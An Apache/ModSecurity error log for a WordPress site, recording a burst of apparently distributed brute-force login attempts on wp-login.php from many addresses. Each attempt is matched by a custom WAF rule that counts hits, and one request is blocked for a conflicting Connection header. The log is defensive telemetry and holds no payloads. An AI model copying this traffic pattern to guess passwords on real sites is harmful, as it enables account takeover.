[Tue May 26 20:34:38.363498 2026] [:error] [pid 36497:tid 36525] [client 45.146.54.182:41353] [client 45.146.54.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTXrjKQWM1gBmBY4jtogAAAM8"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:48.512260 2026] [:error] [pid 33977:tid 33983] [client 45.131.194.100:32147] [client 45.131.194.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTaO9cnSDNAU9sYPjYwQAAAAM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:34:53.727720 2026] [:error] [pid 33977:tid 34004] [client 45.131.194.106:31057] [client 45.131.194.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTbe9cnSDNAU9sYPjYyQAAABg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:07.306358 2026] [:error] [pid 33887:tid 33926] [client 45.146.54.182:27163] [client 45.146.54.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTe9COI_FV7meOxGctpgAAAIc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:14.349982 2026] [:error] [pid 33888:tid 33959] [client 45.131.194.101:36093] [client 45.131.194.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTgjqzTeoxiinZsGH-8AAAAQ0"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:18.392984 2026] [:error] [pid 33887:tid 33927] [client 45.131.194.97:29617] [client 45.131.194.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWThtCOI_FV7meOxGctuAAAAIg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:27.476484 2026] [:error] [pid 33888:tid 33966] [client 45.131.194.81:54969] [client 45.131.194.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTjzqzTeoxiinZsGH_AwAAARQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:32.687893 2026] [:error] [pid 43701:tid 43703] [client 45.131.194.99:57611] [client 45.131.194.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTlIWtVI_UGrhtwKCjtQAAAUA"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:37.739144 2026] [:error] [pid 43701:tid 43720] [client 45.131.194.88:49201] [client 45.131.194.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTmYWtVI_UGrhtwKCjyAAAAVE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:41.681012 2026] [:error] [pid 43701:tid 43717] [client 45.131.194.74:52205] [client 45.131.194.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTnYWtVI_UGrhtwKCj0QAAAU4"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:46.347060 2026] [:error] [pid 33977:tid 33990] [client 45.131.194.106:58237] [client 45.131.194.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTou9cnSDNAU9sYPjZBAAAAAo"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:50.033843 2026] [:error] [pid 36497:tid 36526] [client 45.146.54.189:48103] [client 45.146.54.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTprjKQWM1gBmBY4jutQAAANA"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:35:53.575076 2026] [:error] [pid 36497:tid 36521] [client 45.131.194.88:40665] [client 45.131.194.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTqbjKQWM1gBmBY4juvwAAAMs"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:01.375220 2026] [:error] [pid 36497:tid 36533] [client 45.146.54.184:23111] [client 45.146.54.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTsbjKQWM1gBmBY4juzQAAANc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:05.371276 2026] [:error] [pid 33886:tid 33906] [client 45.131.194.95:63751] [client 45.131.194.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTtbBYzgp5rPVdHcWYBgAAAE8"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:11.684133 2026] [:error] [pid 36497:tid 36533] [client 45.131.194.106:60735] [client 45.131.194.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTu7jKQWM1gBmBY4ju5AAAANc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:18.846919 2026] [:error] [pid 43701:tid 43704] [client 45.131.194.101:30115] [client 45.131.194.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTwoWtVI_UGrhtwKCkYQAAAUE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:19.178329 2026] [:error] [pid 43701:tid 43725] [client 43.166.1.243:60488] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahWTw4WtVI_UGrhtwKCkZAAAAVY"]
[Tue May 26 20:36:22.625198 2026] [:error] [pid 43701:tid 43708] [client 45.131.194.97:36637] [client 45.131.194.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTxoWtVI_UGrhtwKCklgAAAUU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:31.797852 2026] [:error] [pid 43701:tid 43727] [client 45.131.194.77:47521] [client 45.131.194.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWTz4WtVI_UGrhtwKCk_wAAAVg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:35.759535 2026] [:error] [pid 43701:tid 43719] [client 45.131.194.93:57683] [client 45.131.194.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT04WtVI_UGrhtwKClBAAAAVA"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:41.208995 2026] [:error] [pid 43701:tid 43711] [client 45.146.54.184:49405] [client 45.146.54.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT2YWtVI_UGrhtwKClGAAAAUg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:44.395853 2026] [:error] [pid 33977:tid 33991] [client 45.146.54.183:36821] [client 45.146.54.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT3O9cnSDNAU9sYPjawgAAAAs"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:36:58.271772 2026] [:error] [pid 33977:tid 33998] [client 45.131.194.94:54091] [client 45.131.194.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT6u9cnSDNAU9sYPjbFwAAABI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:04.298877 2026] [:error] [pid 36497:tid 36531] [client 45.131.194.95:43753] [client 45.131.194.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT8LjKQWM1gBmBY4jveQAAANU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:09.619508 2026] [:error] [pid 43701:tid 43715] [client 45.131.194.81:47733] [client 45.131.194.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT9YWtVI_UGrhtwKClogAAAUw"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:17.126808 2026] [:error] [pid 43701:tid 43724] [client 45.131.194.99:33147] [client 45.131.194.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWT_YWtVI_UGrhtwKClwAAAAVU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:23.990446 2026] [:error] [pid 33977:tid 33988] [client 45.131.194.89:52961] [client 45.131.194.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUA-9cnSDNAU9sYPjbfwAAAAg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:36.057799 2026] [:error] [pid 43701:tid 43723] [client 45.131.194.106:51751] [client 45.131.194.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUEIWtVI_UGrhtwKCmIQAAAVQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:41.780945 2026] [:error] [pid 33886:tid 33914] [client 45.146.54.189:52207] [client 45.146.54.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUFbBYzgp5rPVdHcWYvQAAAFc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:47.586775 2026] [:error] [pid 33887:tid 33937] [client 45.131.194.89:29917] [client 45.131.194.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUG9COI_FV7meOxGcujAAAAJI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:50.529185 2026] [:error] [pid 36497:tid 36532] [client 45.146.54.182:39621] [client 45.146.54.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUHrjKQWM1gBmBY4jwGwAAANY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:37:55.575968 2026] [:error] [pid 33887:tid 33920] [client 45.131.194.76:43717] [client 45.131.194.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUI9COI_FV7meOxGculQAAAIE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:01.642416 2026] [:error] [pid 33887:tid 33935] [client 45.131.194.78:25165] [client 45.131.194.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUKdCOI_FV7meOxGcunwAAAJA"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:07.107365 2026] [:error] [pid 36497:tid 36524] [client 45.131.194.83:51201] [client 45.131.194.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.83, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUL7jKQWM1gBmBY4jwXgAAAM4"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:14.142876 2026] [:error] [pid 43701:tid 43716] [client 45.131.194.95:44295] [client 45.131.194.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUNoWtVI_UGrhtwKCncQAAAU0"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:20.267037 2026] [:error] [pid 43701:tid 43716] [client 45.131.194.104:56527] [client 45.131.194.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUPIWtVI_UGrhtwKCnnQAAAU0"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:28.696146 2026] [:error] [pid 36497:tid 36515] [client 45.131.194.71:37843] [client 45.131.194.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWURLjKQWM1gBmBY4jwsAAAAMU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:33.005043 2026] [:error] [pid 33887:tid 33936] [client 45.131.194.75:25357] [client 45.131.194.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUSdCOI_FV7meOxGcurwAAAJE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:37.551066 2026] [:error] [pid 36497:tid 36529] [client 45.131.194.102:34241] [client 45.131.194.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUTbjKQWM1gBmBY4jw7QAAANM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:43.336103 2026] [:error] [pid 36497:tid 36516] [client 45.131.194.94:57107] [client 45.131.194.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUU7jKQWM1gBmBY4jw_AAAAMY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:38:52.287469 2026] [:error] [pid 33977:tid 33987] [client 45.146.54.187:20169] [client 45.146.54.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUXO9cnSDNAU9sYPjcGgAAAAc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:39:03.637404 2026] [:error] [pid 43701:tid 43724] [client 45.146.54.188:60707] [client 45.146.54.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.54.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUZ4WtVI_UGrhtwKCoVQAAAVU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:39:08.545725 2026] [:error] [pid 33887:tid 33938] [client 45.131.194.87:45139] [client 45.131.194.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.87, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUbNCOI_FV7meOxGcu7QAAAJM"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:39:15.737127 2026] [:error] [pid 43701:tid 43718] [client 45.131.194.91:38277] [client 45.131.194.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUc4WtVI_UGrhtwKCoeQAAAU8"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:39:19.860566 2026] [:error] [pid 43701:tid 43717] [client 45.131.194.85:54793] [client 45.131.194.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUd4WtVI_UGrhtwKCoiAAAAU4"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:39:41.775098 2026] [:error] [pid 33887:tid 33926] [client 45.131.194.94:26561] [client 45.131.194.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUjdCOI_FV7meOxGcvCgAAAIc"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:07.736979 2026] [:error] [pid 33888:tid 33966] [client 45.131.194.90:57967] [client 45.131.194.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUpzqzTeoxiinZsGEA4wAAARQ"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:17.506284 2026] [:error] [pid 33977:tid 33998] [client 45.131.194.77:47945] [client 45.131.194.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUse9cnSDNAU9sYPjdPAAAABI"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:24.510587 2026] [:error] [pid 36497:tid 36532] [client 45.131.194.101:43911] [client 45.131.194.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUuLjKQWM1gBmBY4jytAAAANY"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:32.891836 2026] [:error] [pid 33886:tid 33896] [client 45.131.194.93:46979] [client 45.131.194.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUwLBYzgp5rPVdHcWaKgAAAEU"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:40.784924 2026] [:error] [pid 33977:tid 33997] [client 45.131.194.109:43849] [client 45.131.194.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUyO9cnSDNAU9sYPjdkwAAABE"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:45.875204 2026] [:error] [pid 33888:tid 33956] [client 45.131.194.103:51819] [client 45.131.194.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWUzTqzTeoxiinZsGEBWgAAAQo"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:49.551349 2026] [:error] [pid 33888:tid 33970] [client 45.131.194.75:35563] [client 45.131.194.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU0TqzTeoxiinZsGEBXgAAARg"], referer: https://gigfragments.org/wp-admin/
[Tue May 26 20:40:56.596305 2026] [:error] [pid 33977:tid 33980] [client 45.131.194.96:23957] [client 45.131.194.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.194.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahWU2O9cnSDNAU9sYPjdvAAAAAA"], referer: https://gigfragments.org/wp-admin/
